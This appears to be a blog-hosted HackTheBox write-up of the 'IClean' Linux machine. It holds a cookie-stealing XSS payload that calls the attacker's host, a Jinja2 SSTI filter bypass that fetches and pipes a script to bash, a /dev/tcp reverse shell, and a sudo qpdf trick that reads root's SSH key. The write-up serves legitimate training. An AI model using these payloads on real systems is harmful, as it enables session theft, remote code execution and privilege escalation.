Hack-notes
  • Whoami
  • MalDev
    • Reflective loader
  • Academy HackTheBox
    • Attacking Common Applications
      • Attacking Common Applications - Skills Assessment I
      • Attacking Common Applications - Skills Assessment II
      • Attacking Common Applications - Skills Assessment III
    • Attacking Common Services
      • Attacking Common Services - Easy
      • Attacking Common Services - Medium
      • Attacking Common Services - Hard
    • AD Enumeration & Attacks - Skills Assessment Part I
    • AD Enumeration & Attacks - Skills Assessment Part II
  • HackTheBox-writeups
    • Machines
      • Windows
        • Jab
      • Linux
        • ICLEAN
  • CheatSheet
    • AD
      • linux
      • Windows
      • Bloodhound cypher query
      • Powerview
    • Privilege Escalation
      • Linux
      • Windows
    • Payloads (Reverse shell)
    • Post-Exploitation
      • Windows
    • CLM and Applocker Bypass
  • Your Path to the OSCP+
  • Pwning OSEP with `secrets.txt` on my first attempt
Powered by GitBook
On this page

Was this helpful?

  1. HackTheBox-writeups
  2. Machines
  3. Linux

ICLEAN

I began scanning the IP address using Nmap

nmap -A 10.10.11.12                                
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 2c:f9:07:77:e3:f1:3a:36:db:f2:3b:94:e3:b7:cf:b2 (ECDSA)
|_  256 4a:91:9f:f2:74:c0:41:81:52:4d:f1:ff:2d:01:78:6b (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

I used a simple curl command to access the website

curl http://10.10.11.12/                         
<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="refresh" content="0;url=http://capiclean.htb">
</head>
<body>
    <!-- Optional content for users without JavaScript -->
    <p>If you are not redirected, <a href="http://capiclean.htb">click here</a>.</p>
</body>
</html>

So, we need to add the domain "cpiclean.htb" to /etc/hosts. After that i started fuzzing directories using ffuf.

ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://capiclean.htb/FUZZ

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://capiclean.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

about                   [Status: 200, Size: 5267, Words: 1036, Lines: 130,
login                   [Status: 200, Size: 2106, Words: 297, Lines: 88
services                [Status: 200, Size: 8592, Words: 2325, Lines: 193
team                    [Status: 200, Size: 8109, Words: 2068, Lines: 183
quote                   [Status: 200, Size: 2237, Words: 98, Lines: 90
logout                  [Status: 302, Size: 189, Words: 18, Lines: 6
dashboard               [Status: 302, Size: 189, Words: 18, Lines: 6
choose                  [Status: 200, Size: 6084, Words: 1373, Lines: 154

Then i navigate to the quote page where you'll notice a form that can be submitted with a POST request to the admins so decided to inject a reflected XSS to steal session cookies of the admins, i crafted this request using Burp Suite. ![[Pasted image 20240417213017.png]]

The JavaScript code

<img src=x onerror=this.src="http://10.10.14.128:80/"+btoa(document.cookie)>

After sending it, i used netcat with the same port as the crafted js code.

nc -lnvp 80  
listening on [any] 80 ...
connect to [10.10.14.128] from (UNKNOWN) [10.10.11.12] 52942
GET /c2Vzc2lvbj1leUp5YjJ4bElqb2lNakV5TXpKbU1qazNZVFUzWVRWaE56UXpPRGswWVRCbE5HRTRNREZtWXpNaWZRLlpoNkg3Zy5HT0NwbXQ2ZlhobXd1UkxFN3RjUXVjQkprOXc= HTTP/1.1
Host: 10.10.14.128
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://127.0.0.1:3000/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

Boom! You'll intercept the session cookie of the admin. You just need to decode it and use it then, go to the dashboard page at the path /QRGenerator where you'll find a blind Server-Side Template Injection (SSTI). You need to check the HTML source code or use Burp Suite

SSTI payload

{{7*7}}
{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("curl IP:PORT/revshell | bash")|attr("read")()}}

And create a simple reverse shell file

#!/bin/bash
bash -c "bash -i >& /dev/tcp/IP/4000 0>&1"

And host it with a Python server. Then i used netcat with the same port as in the reverse shell and Lastly send the request with Burp Suite, and you will get the shell.

rlwrap nc -lnvp 4444                                       
listening on [any] 4444 ...
connect to [10.10.16.11] from (UNKNOWN) [10.10.11.12] 35036
bash: cannot set terminal process group (1211): Inappropriate ioctl for device
bash: no job control in this shell
www-data@iclean:/opt/app$ whoami
whoami
www-data

And as always, the first thing i do is list all listening ports.

www-data@iclean:/opt/app$ ss -tupln
ss -tupln
Netid State  Recv-Q Send-Q Local Address:Port  Peer Address:PortProcess                           
udp   UNCONN 0      0      127.0.0.53%lo:53         0.0.0.0:*                                     
udp   UNCONN 0      0            0.0.0.0:68         0.0.0.0:*                                     
udp   UNCONN 0      0        224.0.0.251:5353       0.0.0.0:*                                     
udp   UNCONN 0      0            0.0.0.0:5353       0.0.0.0:*                                     
udp   UNCONN 0      0            0.0.0.0:52759      0.0.0.0:*                                     
udp   UNCONN 0      0               [::]:55629         [::]:*                                     
udp   UNCONN 0      0               [::]:5353          [::]:*                                     
tcp   LISTEN 0      128        127.0.0.1:3000       0.0.0.0:*    users:(("python3",pid=1211,fd=4))
tcp   LISTEN 0      10         127.0.0.1:35621      0.0.0.0:*                                     
tcp   LISTEN 0      70         127.0.0.1:33060      0.0.0.0:*                                     
tcp   LISTEN 0      4096   127.0.0.53%lo:53         0.0.0.0:*                                     
tcp   LISTEN 0      511          0.0.0.0:80         0.0.0.0:*                                     
tcp   LISTEN 0      151        127.0.0.1:3306       0.0.0.0:*                                     
tcp   LISTEN 0      128          0.0.0.0:22         0.0.0.0:*                                     
tcp   LISTEN 0      128             [::]:22            [::]:*     

I found that MySQL is running. Trying to log in with default credentials did not work so i read the source code of the application and found a user and password credentials when connecting to database

www-data@iclean:/opt/app$ cat app.py
from flask import Flask, render_template, request, jsonify, make_response, session, redirect, url_for
from flask import render_template_string
import pymysql
import hashlib
import os
import random, string
import pyqrcode
from jinja2 import StrictUndefined
from io import BytesIO
import re, requests, base64

app = Flask(__name__)

app.config['SESSION_COOKIE_HTTPONLY'] = False

secret_key = ''.join(random.choice(string.ascii_lowercase) for i in range(64))
app.secret_key = secret_key
# Database Configuration
db_config = {
    'host': '127.0.0.1',
    'user': 'iclean',
    'password': 'pxCsmnGLckUb',
    'database': 'capiclean'
}

app._static_folder = os.path.abspath("/opt/app/static/")

def rdu(value):
    return str(value).replace('__', '')

def sanitize(input):
                sanitized_output = re.sub(r'[^a-zA-Z0-9@. ]', '', input)
                return sanitized_output

app.jinja_env.undefined = StrictUndefined
app.jinja_env.filters['remove_double_underscore'] = rdu

valid_invoice_ids = []

def add_valid_invoice_id(invoice_id):
    valid_invoice_ids.append(invoice_id)

def get_allowed_invoice_ids():
    return valid_invoice_ids

def validate_invoice_id(provided_id):
    allowed_invoice_ids = get_allowed_invoice_ids()  
    return provided_id in allowed_invoice_ids

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/quote')
def quote():
    return render_template('quote.html')

@app.route('/services')
def services():
    return render_template('services.html')

@app.route('/about')
def about():
    return render_template('about.html')

@app.route('/choose')
def choose():
    return render_template('choose.html')

@app.route('/team')
def team():
    return render_template('team.html')

@app.route('/EditServices', methods=['GET', 'POST'])
def editservices():
    if session.get('role') == hashlib.md5(b'admin').hexdigest():
        if request.method == 'GET':
            with pymysql.connect(**db_config) as conn:
                with conn.cursor() as cursor:
                    cursor.execute('SELECT service_name FROM services')
                    services = [row[0] for row in cursor.fetchall()]
            return render_template('EditServices.html', services=services)
        elif request.method == 'POST':
            selected_service = request.form['selected_service']
            return redirect(url_for('edit_service_details', service=selected_service))
        else:
            return make_response('Invalid request format.', 400)
    else:
        return redirect(url_for('index'))

@app.route('/EditServiceDetails/<service>', methods=['GET', 'POST'])
def edit_service_details(service):
    if session.get('role') == hashlib.md5(b'admin').hexdigest():
        if request.method == 'GET':
            with pymysql.connect(**db_config) as conn:
                with conn.cursor() as cursor:
                    cursor.execute('SELECT * FROM services WHERE service_name = %s', (service,))
                    result = cursor.fetchone()
            return render_template('EditServiceDetails.html', service=result)
        elif request.method == 'POST':
            description = request.form['description']
            with pymysql.connect(**db_config) as conn:
                with conn.cursor() as cursor:
                    cursor.execute('UPDATE services SET service_description = %s WHERE service_name = %s', (description, service))
                    conn.commit()
            return redirect(url_for('editservices'))
        else:
            return make_response('Invalid request format.', 400)
    else:
        return redirect(url_for('index'))


@app.route('/dashboard')
def dashboard():
    if session.get('role') == hashlib.md5(b'admin').hexdigest():
        return render_template('dashboard.html')
    else:
        return redirect(url_for('index'))

@app.route('/sendMessage', methods=['POST'])
def quote_requests():
    
    conn = pymysql.connect(**db_config)

    cursor = conn.cursor()
    checkboxes = request.form.getlist('service')
    email = request.form.get('email')

    checkboxes_str = ', '.join(checkboxes)

    query = "INSERT INTO quote_requests (checkboxes, email) VALUES (%s, %s)"
    cursor.execute(query, (checkboxes_str, email))
    conn.commit()
 
    cursor.close()
    conn.close()

    return render_template('quote_requests_thankyou.html')

@app.route('/QuoteRequests', methods=['GET'])
def get_quote_requests():
    if session.get('role') == hashlib.md5(b'admin').hexdigest():
        conn = pymysql.connect(**db_config)
        cursor = conn.cursor()

        query = "SELECT * FROM quote_requests"
        cursor.execute(query)
        data = cursor.fetchall()

        cursor.close()
        conn.close()

        ids = []

        for row in data:
            ids.append(row[0])

        return render_template('QuoteRequests.html', ids=ids)


@app.route('/QuoteRequests/<int:quote_id>', methods=['GET'])
def get_single_quote_request(quote_id):
    if session.get('role') == hashlib.md5(b'admin').hexdigest():
        conn = pymysql.connect(**db_config)
        cursor = conn.cursor()

        query = "SELECT * FROM quote_requests WHERE quote_id = %s"
        cursor.execute(query, (quote_id,))
        data = cursor.fetchall()

        cursor.close()
        conn.close()

        for row in data:
            checkboxes = row[1]
            email = row[2]

        return render_template('QuoteRequestDetail.html', email=email, services=checkboxes)

@app.route('/QuoteRequests/delete/<int:quote_id>', methods=['GET'])
def delete_single_quote_request(quote_id):
    if session.get('role') == hashlib.md5(b'admin').hexdigest():
        conn = pymysql.connect(**db_config)
        cursor = conn.cursor()

        query = "DELETE FROM quote_requests WHERE quote_id = %s"
        cursor.execute(query, (quote_id,))
        data = cursor.fetchall()

        conn.commit()

        cursor.close()
        conn.close()

        return redirect(url_for('get_quote_requests'))

@app.route('/QRInvoice/<filename>')
def QRInvoice(filename):
    return render_template(filename)

@app.route('/Invoice/<filename>')
def Invoice(filename):
    return render_template(filename)

random_number = None

@app.route('/InvoiceGenerator', methods=['GET', 'POST'])
def InvoiceGenerator():
    if session.get('role') == hashlib.md5(b'admin').hexdigest():
        if request.method == 'GET':
            with pymysql.connect(**db_config) as conn:
                with conn.cursor() as cursor:
                    cursor.execute('SELECT service_name FROM services')
                    services = [row[0] for row in cursor.fetchall()]
            return render_template('InvoiceGenerator.html', services=services)
        if request.method == 'POST':
            random_number = ''.join(random.choices(string.digits, k=10))
            add_valid_invoice_id(random_number)
            
            quantity_chosen = sanitize(request.form['qty'])
            client_email = sanitize(request.form['email-address'])
            client_address = sanitize(request.form['address'])
            project_name = sanitize(request.form['project'])
            client_name = sanitize(request.form['client'])
            service_chosen = sanitize(request.form['selected_service'])
            
            rendered_template = render_template('template_invoice.html', service_chosen=service_chosen, project_name=project_name, client_name=client_name, client_address=client_address, client_email=client_email, quantity_chosen=quantity_chosen)                     
            
            with open(os.path.join('/opt/app/templates/', 'temporary_invoice.html'), 'w') as html_file:
                html_file.write(rendered_template)
            
            with open(os.path.join('/opt/app/templates/', 'temporary_invoice.html'), 'r') as html_file:
                modified_content = html_file.read()

            qr_code_img_tag = '''<div class="qr-code-container"><div class="qr-code"><img src="data:image/png;base64,

<div data-gb-custom-block data-tag="block" data-0='1' data-1='1' data-2='1' data-3='1' data-4='1' data-5='1' data-6='1' data-7='1' data-8='1' data-9='1'></div>" alt="QR Code"></div>'''
            modified_content = modified_content.replace('</body>', f'{qr_code_img_tag}\n</body>')

            with open(os.path.join('/opt/app/templates/', 'temporary_invoice.html'), 'w') as html_file:
                html_file.write(modified_content)

            return render_template('Invoice.html', invoice_id=random_number)
        
        return render_template('InvoiceGenerator.html')
    else:
        return redirect(url_for('index'))

@app.route('/QRGenerator', methods=['GET', 'POST'])
def QRGenerator():
    if session.get('role') == hashlib.md5(b'admin').hexdigest():
        if request.method == 'GET':
            with pymysql.connect(**db_config) as conn:
                with conn.cursor() as cursor:
                    cursor.execute('SELECT service_name FROM services')
                    services = [row[0] for row in cursor.fetchall()]
            return render_template('QRGenerator.html', services=services)

        if request.method == 'POST':
            form_type = request.form['form_type']
            if form_type == 'invoice_id':
                invoice_id = request.form['invoice_id']
                if validate_invoice_id(invoice_id):
                    filename = f'invoice_{invoice_id}.html'
                    with open(os.path.join('/opt/app/templates/', 'temporary_invoice.html'), 'r') as html_file:
                        temp_invoice = html_file.read()
                    with open(os.path.join('/opt/app/templates/', filename), 'w') as html_file:
                        html_file.write(temp_invoice)

                    invoice_url = url_for('QRInvoice', filename=filename, _external=True)
                    qr_image = pyqrcode.create(invoice_url)
                    qr_image.png(os.path.join('/opt/app/static/qr_code', f'qr_code_{invoice_id}.png'), scale=2, module_color=[0, 0, 0, 128], background=[0xff, 0xff, 0xff])
                    png_link = url_for('static', filename=f'qr_code/qr_code_{invoice_id}.png', _external=True)
                    
                    return render_template('QRGenerator2.html', png_link=png_link)
            elif form_type == 'scannable_invoice':
                qr_link = rdu(request.form['qr_link'])
                if 'http://capiclean.htb' in qr_link:
                    qr = requests.get(qr_link)
                    image_content = qr.content
                    qr_url = base64.b64encode(image_content).decode('utf-8')
                
                    HTML = f"{<div data-gb-custom-block data-tag="extends" data-0='temporary_invoice.html'></div>}{<div data-gb-custom-block data-tag="block" data-0='1' data-1='1' data-2='1' data-3='1' data-4='1' data-5='1' data-6='1' data-7='1' data-8='1' data-9='1'>}"
                    HTML += '{}'.format(qr_url)
                    HTML += '</div>'
                    rendered_template = render_template_string(HTML)
                    
                    return rendered_template
                else:
                    HTML = f"{<div data-gb-custom-block data-tag="extends" data-0='temporary_invoice.html'></div>}{<div data-gb-custom-block data-tag="block" data-0='1' data-1='1' data-2='1' data-3='1' data-4='1' data-5='1' data-6='1' data-7='1' data-8='1' data-9='1'>}"
                    HTML += '{}'.format(qr_link)
                    HTML += '</div>'
                    rendered_template = render_template_string(HTML)
                    
                    return rendered_template

            else:
                return redirect(url_for('QRGenerator'))
        return render_template('QRGenerator.html')
    else:
        return redirect(url_for('index'))



@app.route('/logout')
def logout():
    session.clear()
    return redirect(url_for('index'))


@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html', error=False)
    elif request.method == 'POST':
        username = request.form['username']
        password = hashlib.sha256(request.form['password'].encode()).hexdigest()

        with pymysql.connect(**db_config) as conn:
            with conn.cursor() as cursor:
                cursor.execute('SELECT role_id FROM users WHERE username=%s AND password=%s', (username, password))
                result = cursor.fetchone()

                if result is None:
                    return render_template('login.html',error='Invalid username or password')
                else:
                    session['role'] = result[0]
                    if session['role'] == hashlib.md5(b'admin').hexdigest():
                        return redirect(url_for('dashboard'))
                    else:
                        return redirect(url_for('/'))
    else:
        return make_response('Invalid request format.', 400)


if __name__ == '__main__':
    app.run(port=3000)

Using these credentials i connected to MySQL and it worked and i used the same database name with the same table as in the source code and I got the hash for the user 'consuela'.

mysql -u iclean -p -h 127.0.0.1
Enter password: pxCsmnGLckUb
USE capiclean;
SELECT * FROM users;
selec;
id      username        password        role_id
1       admin   2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51        21232f297a57a5a743894a0e4a801fc3
2       consuela        0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa        ee11cbb19052e40b07aac0ca060c23ee

So i cracked the hash and used his password to connect to SSH then i used sudo -l and found that the user can use qpdf as root

consuela@iclean:~$ sudo -l
[sudo] password for consuela: 
Matching Defaults entries for consuela on iclean:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User consuela may run the following commands on iclean:
    (ALL) /usr/bin/qpdf

After Googling and searching how to use it i found a way to attach the SSH private key of the root to a PDF .

sudo /usr/bin/qpdf random_pdf.pdf --qdf --add-attachment /root/.ssh/id_rsa --

And you will use the id_rsa to connect as root and get the flag.

I hope you enjoyed reading it if you have any suggestions or comments, let me know

PreviousLinuxNextCheatSheet

Last updated 1 year ago

Was this helpful?

And we know the application was created using Python and Flask framework, as determined by using the Wappalyzer plugin so the SSTI vulnerability is in Jinja2. After attempting to obtain a shell and bypass the filter and i successfully identified the bypass, i recommend you navigating to this page for more information on bypassing filters and understanding how they actually work

server side template